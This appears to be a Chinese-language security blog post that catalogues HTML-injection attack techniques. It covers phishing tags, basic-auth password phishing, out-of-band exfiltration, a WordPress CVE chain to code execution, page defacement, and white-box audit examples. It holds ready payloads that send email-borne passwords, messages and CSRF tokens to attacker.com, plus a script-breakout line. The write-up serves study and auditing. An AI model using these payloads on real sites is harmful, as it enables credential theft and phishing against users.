HTML注入的花式利用姿势汇总
HTML注入和XSS的原理类似,在某些无法执行javascript脚本的场景下使用一些简单的HTML标签同样可造成危害,下面总结几种场景和攻击思路。
一、从HTMLi到钓鱼攻击
1、 常规钓鱼
<img src=”https://attacker.com/hacker.jsp”>
<iframe src=”https://attacker.com/hacker.jsp”>
2、401 图片基础认证钓鱼
这个思路有点过时,由于img标签可以跨域,故可自建一个https服务,用来返回401认证响应头,通过弹钓鱼对话框来获取用户口令。
二、从HTMLi到信息泄露
这类思路类似SSRF的攻击手段,也可称为OOB带外通道技术,同样需要搭配自建服务器完成攻击,思路一般有二:
1)http方式:
http://domain.com/?secret=xxx 带出信息位于get参数中
http://domain.com/xxx 带出信息位于路径中
也可以放在cookie中或者post参数里
2)dns方式
curl xxxx.domain.com 带出信息位于域名当中
案例1:
User- Agent:
当然,不同场景外带获取的数据也不同,传输参数、referer、cookie等。
案例2:
一些网站通常将用户注册信息/密码重置链接通过邮件的形式发送给用户,由于触发点是邮件系统客户端,无法执行XSS,所以转向HTML注入。
这里HTML邮件模板包括中英文两部分内容,存在三处可控点,分别是account、password、login link,输出点有六处,形如:
<p x="xxx">您的账号是 {1} 密码是 {2}</p>
<p x="xxx">登录地址:</p>
<a href="{3}">{3}</a>
<p x="xxx">your account is {1} password is {2}</p>
<p x="xxx">login link is:</p>
<a href="{3}">{3}</a>
这里的思路是创建一个超链接,把邮件里的敏感信息(用户名、密码)携带进来发送到服务器,payload构造主要有三步:
1) 闭合已有a标签;
2) 新建包裹英文内容的a标签,href 属性使用了单引号 ' 包裹 URL;
3) 注释标签使页面外观正常;
需要用到html特性进行巧妙的构造,组合调整之后最终的payload为:
</a><a x='>激活账号</a><!--'href='http://attacker.com/?
页面中的效果为:
<a x='>激活账号</a><!--' href='http:// attacker.com /?</a>
<p x="xxx">your account is{1} password is {2} </p>
<p x="xxx">login address:</p>
<a href="</a><a x='>激活账号</a>
达到的页面效果如下:
从而使得页面只剩一个超链接(红色部分),点击激活账号这个链接,就会把账号和密码英文部分的html(蓝色部分)携带到服务器的参数部分:
借用这种“包裹”思路,可以引申利用于其他场景:
如留言板处若存在HTMLi,可留两条数据,第一条是'>,隔一段时间再留第二条<img src='http://attacker.com/?,则可获取到在这两条留言之间的所有留言。
再如,csrf token通常在hidden域中:
{1}
<input type="hidden" name="CSRF_TOKEN"value="bbbc91aa69902418cad12b17e4df1d0d">
{2}
若两处可控,则可使用同样的方法获取到全局token。
详细内容可参考阅读原文链接。
三、从HTMLi到RCE
WordPress:CVE-2019-9787:
类似XSS盲打思路,在WordPress评论处写包含攻击者网站的留下,管理员查看即定向到恶意网站,结合CSRF借用管理员权限编辑主题和插件文件,从而留下php后门达到任意代码。
结合CSRF将攻击效果最大化也是HTMLi的一种利用方式。
四、其他
1、影响可用性DOS
如可插入css元素将整个页面涂黑,或写一个标签覆盖掉在该DOM对象在页面之后的其他含有ID属性的HTML标签,导致其他正常功能无法使用。
2、 文本注入欺骗
用于某些页面的报错信息可定制,思路类似于日志伪造,如
https://victim.com/wp-login.php?error=Your%20account%20has%20hacked%20please%[email protected]
从而在页面上造成欺骗的效果。
五、白盒层漏洞挖掘
案例1:
s7和s8为用户可控的标题和作者名,系统未经处理直接将其拼接到html代码中,是典型的前端可审计发现的html注入问题:
public class aot
...
if(s7 != null)
{
s4= (newStringBuilder()).append(s5).append("<title>").append(s7).append("</title>").toString();
s1= (new StringBuilder()).append(s6).append("<pstyle=\"font-size:").append(s1).append(";line-height:120%;font-weight:bold;margin:").append(s3).append("0px 12px 0px\">").append(s7).append("</p>").toString();
...
if(s8 != null)
s1 = (newStringBuilder()).append("<spanclass=\"nowrap\"><b>").append(s8).append("</b>,</span>").toString();
案例2:
白盒层发现HTMLi/XSS,除了审查html文件还可审查js代码,如:
function(){
var logininfo = JSON.parse(‘{“os:Windows”,loginType:”3”,backUrl:”{user_input}”,isAdmin:”flase”}’)
…}
其中backurl用户可控,则可输入payload闭合前后端代码。
aaa/”}’);alert(1);JSON.parse(‘{“a”:”a